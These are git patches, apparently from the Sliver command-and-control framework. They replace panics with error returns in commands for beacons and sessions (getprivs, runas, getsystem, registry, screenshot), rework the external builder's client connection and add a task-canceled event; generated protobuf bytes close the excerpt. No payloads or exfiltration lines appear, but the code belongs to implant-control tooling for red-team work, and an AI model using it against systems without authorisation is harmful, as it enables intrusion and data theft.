ourselves up to save our client commands in history. - con.connect(con.dialer.Conn) + con.connect(con.Dialer.Conn) return carapace.ActionValues(), nil } diff --git a/server/builder/builder.go b/server/builder/builder.go index e8a4833850..21888db68c 100644 --- a/server/builder/builder.go +++ b/server/builder/builder.go @@ -46,11 +46,11 @@ type Config struct { } // StartBuilder - main entry point for the builder -func StartBuilder(externalBuilder *clientpb.Builder, con *console.SliverClient) error { +func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient, con *console.SliverClient) error { builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name) con.PrintInfof("Attempting to register builder: %s", externalBuilder.Name) - events, err := buildEvents(externalBuilder, con.Rpc) + events, err := buildEvents(externalBuilder, rpc) if err != nil { builderLog.Errorf("Build events handler error: %s", err.Error()) return nil @@ -59,7 +59,7 @@ func StartBuilder(externalBuilder *clientpb.Builder, con *console.SliverClient) // Wait for signal or builds go func() { for event := range events { - go handleBuildEvent(externalBuilder, event, con.Rpc) + go handleBuildEvent(externalBuilder, event, rpc) } }() diff --git a/server/command/assets/unpack.go b/server/command/assets/unpack.go index 6ba65744b9..09ff9f3a2b 100644 --- a/server/command/assets/unpack.go +++ b/server/command/assets/unpack.go @@ -21,9 +21,10 @@ package assets import ( "fmt" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/msf" - "github.com/spf13/cobra" ) const ( diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index b333319a63..f6177fb51f 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -34,8 +34,10 @@ import ( "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" @@ -61,7 +63,7 @@ func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { Short: "Start the process as an external builder", Long: ``, Run: func(cmd *cobra.Command, args []string) { - runBuilderCmd(cmd, args, team) + runBuilderCmd(cmd, args, team, con) }, } @@ -83,7 +85,7 @@ func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { return []*cobra.Command{builderCmd} } -func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) error { +func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server, con *console.SliverClient) error { configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) if err != nil { builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) @@ -122,7 +124,7 @@ func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) error externalBuilder.Templates = []string{"sliver"} // load the client configuration from the filesystem - return startBuilderTeamclient(externalBuilder, configPath, team) + return startBuilderClient(externalBuilder, configPath, team, con) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -255,14 +257,11 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } -func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string, team *server.Server) error { - // Make an altogether new Sliver client. We have all of its tooling by default, at no cost. - sliverClient, err := console.NewSliverClient() - if err != nil { - return err - } +func startBuilderClient(externalBuilder *clientpb.Builder, configPath string, team *server.Server, con *console.SliverClient) error { + // Simply use our transport+RPC backend. + cli := transport.NewClient() - teamclient := sliverClient.Teamclient + teamclient := team.Self(client.WithDialer(cli)) // Now use our teamclient to fetch the configuration. config, err := teamclient.ReadConfig(configPath) @@ -282,14 +281,19 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string builderLog.Infof("Hello my name is: %s", externalBuilder.Name) builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) - sliverClient.PrintInfof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) // And immediately connect to it. - teamclient.Connect(client.WithConfig(config)) + err = teamclient.Connect(client.WithConfig(config)) + if err != nil { + return err + } + + rpc := rpcpb.NewSliverRPCClient(cli.Conn) + defer teamclient.Disconnect() // Let the builder do its work, blocking. - return builder.StartBuilder(externalBuilder, sliverClient) + return builder.StartBuilder(externalBuilder, rpc, con) } // builderFormatsCompleter completes supported builders architectures. From 8b56c5b466e4b4795b5b4137a321425338173598 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 06:37:51 +0200 Subject: [PATCH 098/124] Fix mistake, fortunately --- client/console/console.go | 9 +++------ client/console/teamclient.go | 4 ++-- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index 0d256d0f5d..b8b91c3de1 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -105,11 +105,8 @@ type SliverClient struct { isCLI bool // Teamclient & remotes - // The dialer being exported is quite dirty, - // and there might be a way to unexport it. - // The problem is currently with builders which need it. Teamclient *client.Client - Dialer *transport.TeamClient + dialer *transport.TeamClient preRunners []func(*cobra.Command, []string) error // Logging @@ -151,12 +148,12 @@ func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { con = newClient() // Our reeflective/team.Client needs our gRPC stack. - con.Dialer = transport.NewClient(opts...) + con.dialer = transport.NewClient(opts...) var clientOpts []client.Options clientOpts = append(clientOpts, client.WithHomeDirectory(assets.GetRootAppDir()), - client.WithDialer(con.Dialer), + client.WithDialer(con.dialer), client.WithLogger(initTeamclientLog()), ) diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 4eb07e8fd3..5563e2e40c 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -72,7 +72,7 @@ func (con *SliverClient) PreRunConnect(cmd *cobra.Command, args []string) error // Register our Sliver client services, and monitor events. // Also set ourselves up to save our client commands in history. - con.connect(con.Dialer.Conn) + con.connect(con.dialer.Conn) // Never enable asciicasts/logs streaming when this // client is used to perform completions. Both of these will tinker @@ -114,7 +114,7 @@ func (con *SliverClient) PreRunComplete() (carapace.Action, error) { // Register our Sliver client services, and monitor events. // Also set ourselves up to save our client commands in history. - con.connect(con.Dialer.Conn) + con.connect(con.dialer.Conn) return carapace.ActionValues(), nil } From 7ae0eeecefcc0721b72b9130a589edf44c06564d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 06:45:23 +0200 Subject: [PATCH 099/124] Remove most calls to panic in client (where possible and safe) --- client/cli/cli.go | 3 ++- client/command/privilege/getprivs.go | 33 +++++++++++++++++-------- client/command/privilege/runas.go | 17 +++++++++---- client/command/registry/reg-create.go | 16 ++++++++---- client/command/screenshot/screenshot.go | 30 ++++++++++++++-------- client/console/readline.go | 3 ++- 6 files changed, 70 insertions(+), 32 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index ae67018a40..48c341014b 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -19,6 +19,7 @@ package cli */ import ( + "log" "os" "github.com/rsteube/carapace" @@ -39,7 +40,7 @@ func Execute() { // prompting/loading and use, as well as other things. con, err := client.NewSliverClient() if err != nil { - panic(err) + log.Fatal(err) } // Generate our complete Sliver Framework command-line interface. diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 258841ec07..94a78894af 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -20,6 +20,7 @@ package privilege import ( "context" + "errors" "strconv" "strings" @@ -37,7 +38,12 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } + if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return @@ -50,7 +56,12 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } - pid := getPID(session, beacon) + pid, err := getPID(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } + if privs.Response != nil && privs.Response.Async { con.AddBeaconCallback(privs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, privs) @@ -125,22 +136,24 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClien } } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 { +func getPID(session *clientpb.Session, beacon *clientpb.Beacon) (int32, error) { if session != nil { - return session.PID + return session.PID, nil } if beacon != nil { - return beacon.PID + return beacon.PID, nil } - panic("no session or beacon") + + return -1, errors.New("no session or beacon") } diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index 24b38997c9..646ec3de1d 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -20,6 +20,7 @@ package privilege import ( "context" + "errors" "github.com/spf13/cobra" "google.golang.org/protobuf/proto" @@ -69,7 +70,12 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } - name := getName(session, beacon) + name, err := getName(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } + if runAs.Response != nil && runAs.Response.Async { con.AddBeaconCallback(runAs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, runAs) @@ -93,12 +99,13 @@ func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name) } -func getName(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getName(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.Name + return session.Name, nil } if beacon != nil { - return beacon.Name + return beacon.Name, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index 38e8fc81e1..e7b54ff559 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -20,6 +20,7 @@ package registry import ( "context" + "errors" "strings" "github.com/spf13/cobra" @@ -36,7 +37,11 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -104,12 +109,13 @@ func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key s con.PrintInfof("Key created at %s\\%s", regPath, key) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index 1cf8058b1b..baea1271e9 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -20,6 +20,7 @@ package screenshot import ( "context" + "errors" "fmt" "io/ioutil" "os" @@ -43,7 +44,11 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" && targetOS != "linux" { con.PrintWarnf("Target platform may not support screenshots!\n") return @@ -61,7 +66,11 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) lootName, _ := cmd.Flags().GetString("name") saveTo, _ := cmd.Flags().GetString("save") - hostname := getHostname(session, beacon) + hostname, err := getHostname(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if screenshot.Response != nil && screenshot.Response.Async { con.AddBeaconCallback(screenshot.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, screenshot) @@ -140,22 +149,23 @@ func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName s loot.SendLootMessage(lootMessage, con) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.Hostname + return session.Hostname, nil } if beacon != nil { - return beacon.Hostname + return beacon.Hostname, nil } - panic("no session or beacon") + return "", errors.New("no session or beacon") } diff --git a/client/console/readline.go b/client/console/readline.go index 1af41621e0..c28ec15156 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -21,6 +21,7 @@ package console import ( "context" "fmt" + "log" insecureRand "math/rand" "os" "os/signal" @@ -165,7 +166,7 @@ func (con *SliverClient) waitSignalOrClose() error { func (con *SliverClient) printLogo() { serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { - panic(err.Error()) + log.Fatal(err) } dirty := "" if serverVer.Dirty { From 67a6e3b12daa2610a8571fb3bfdea4149ef5b769 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 09:29:37 +0200 Subject: [PATCH 100/124] Fixes --- client/command/privilege/getsystem.go | 6 +++++- client/command/registry/reg-delete.go | 6 +++++- client/command/registry/reg-list.go | 6 +++++- client/command/registry/reg-read.go | 6 +++++- client/command/registry/reg-write.go | 6 +++++- server/transport/middleware.go | 6 +++++- 6 files changed, 30 insertions(+), 6 deletions(-) diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index db19a0e209..3926a10acc 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -35,7 +35,11 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index 9dec10e5a5..e48c306e58 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -36,7 +36,11 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index dcbfd887aa..0c20dabe25 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -35,7 +35,11 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []str if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index fe387952fe..d06f81f15f 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -83,7 +83,11 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index 63c391f22c..0973c599a7 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -39,7 +39,11 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return diff --git a/server/transport/middleware.go b/server/transport/middleware.go index 0ead39c38b..51108e25d9 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -21,6 +21,7 @@ package transport import ( "context" "encoding/json" + "errors" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/server/core" @@ -274,7 +275,10 @@ func getActiveTarget(middlewareLog *logrus.Entry, rawRequest []byte) (*clientpb. return nil, nil, nil } - rpcRequest := request["Request"].(map[string]interface{}) + rpcRequest, ok := request["Request"].(map[string]interface{}) + if !ok { + return nil, nil, errors.New("Failed to cast RPC request to map[string]interface{}") + } middlewareLog.Debugf("RPC Request: %v", rpcRequest) From ab0755b785897114a2bcfa4ce8148493cdb0d5ae Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 18 Aug 2023 22:08:09 +0200 Subject: [PATCH 101/124] Implement task-canceled for clients to unblock --- client/console/console.go | 2 + client/console/events.go | 38 +- client/constants/constants.go | 3 + protobuf/clientpb/client.pb.go | 1827 ++++++++++++++++---------------- protobuf/clientpb/client.proto | 9 +- server/rpc/rpc-beacons.go | 20 + server/rpc/rpc-events.go | 3 + 7 files changed, 988 insertions(+), 914 deletions(-) diff --git a/client/console/console.go b/client/console/console.go index b8b91c3de1..2ecac8af80 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -103,6 +103,7 @@ type SliverClient struct { Settings *assets.ClientSettings IsServer bool isCLI bool + signals map[string]chan os.Signal // Teamclient & remotes Teamclient *client.Client @@ -179,6 +180,7 @@ func newClient() *SliverClient { App: console.New("sliver"), Settings: settings, isCLI: true, + signals: make(map[string]chan os.Signal), printf: fmt.Printf, jsonHandler: slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{}), ActiveTarget: newActiveTarget(), diff --git a/client/console/events.go b/client/console/events.go index 42cb7b8812..a14f732b6a 100644 --- a/client/console/events.go +++ b/client/console/events.go @@ -26,13 +26,14 @@ import ( "sync" "time" + "github.com/gofrs/uuid" + "google.golang.org/protobuf/proto" + consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/prelude" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/gofrs/uuid" - "google.golang.org/protobuf/proto" ) func (con *SliverClient) startEventLoop() { @@ -144,6 +145,9 @@ func (con *SliverClient) startEventLoop() { case consts.BeaconTaskResultEvent: con.triggerBeaconTaskCallback(event.Data) + + case consts.BeaconTaskCanceledEvent: + con.triggerTaskCancel(event.Data) } con.triggerReactions(event) @@ -257,6 +261,36 @@ func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { } } +// triggerTaskCancel cancels any command thread that is waiting for a task that has just been canceled. +func (con *SliverClient) triggerTaskCancel(data []byte) { + task := &clientpb.BeaconTask{} + err := proto.Unmarshal(data, task) + if err != nil { + con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) + return + } + + // If the callback is not in our map then we don't do anything: we are not the origin + // of the task and we are therefore not blocking somewhere waiting for its results. + con.BeaconTaskCallbacksMutex.Lock() + defer con.BeaconTaskCallbacksMutex.Unlock() + if _, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + + // Display a message indicating that the task was canceled. + con.PrintWarnf("Task %s was cancelled by another client\n", strings.Split(task.ID, "-")[0]) + delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true + } +} + func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback BeaconTaskCallback) { if resp == nil || resp.TaskID == "" { return diff --git a/client/constants/constants.go b/client/constants/constants.go index ca7eee6e06..0222a5478b 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -95,6 +95,9 @@ const ( // BeaconTaskResult - Beacon task completed with a result. BeaconTaskResultEvent = "beacon-taskresult" + // BeaconTaskCanceledEvent - Indicates that a beacon task has been canceled. + BeaconTaskCanceledEvent = "beacon-task-canceled" + // ExternalBuildEvent. ExternalBuildEvent = "external-build" AcknowledgeBuildEvent = "external-acknowledge" diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index 1649d20030..5474c4f235 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -6257,10 +6257,11 @@ type Event struct { EventType string `protobuf:"bytes,1,opt,name=EventType,proto3" json:"EventType,omitempty"` Session *Session `protobuf:"bytes,2,opt,name=Session,proto3" json:"Session,omitempty"` - Job *Job `protobuf:"bytes,3,opt,name=Job,proto3" json:"Job,omitempty"` - Client *Client `protobuf:"bytes,4,opt,name=Client,proto3" json:"Client,omitempty"` - Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"` - Err string `protobuf:"bytes,6,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error + Beacon *Beacon `protobuf:"bytes,3,opt,name=Beacon,proto3" json:"Beacon,omitempty"` + Job *Job `protobuf:"bytes,4,opt,name=Job,proto3" json:"Job,omitempty"` + Client *Client `protobuf:"bytes,5,opt,name=Client,proto3" json:"Client,omitempty"` + Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` + Err string `protobuf:"bytes,7,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error } func (x *Event) Reset() { @@ -6309,6 +6310,13 @@ func (x *Event) GetSession() *Session { return nil } +func (x *Event) GetBeacon() *Beacon { + if x != nil { + return x.Beacon + } + return nil +} + func (x *Event) GetJob() *Job { if x != nil { return x.Job @@ -10650,317 +10658,338 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xed, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, - 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, - 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, - 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, - 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, - 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, - 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, - 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 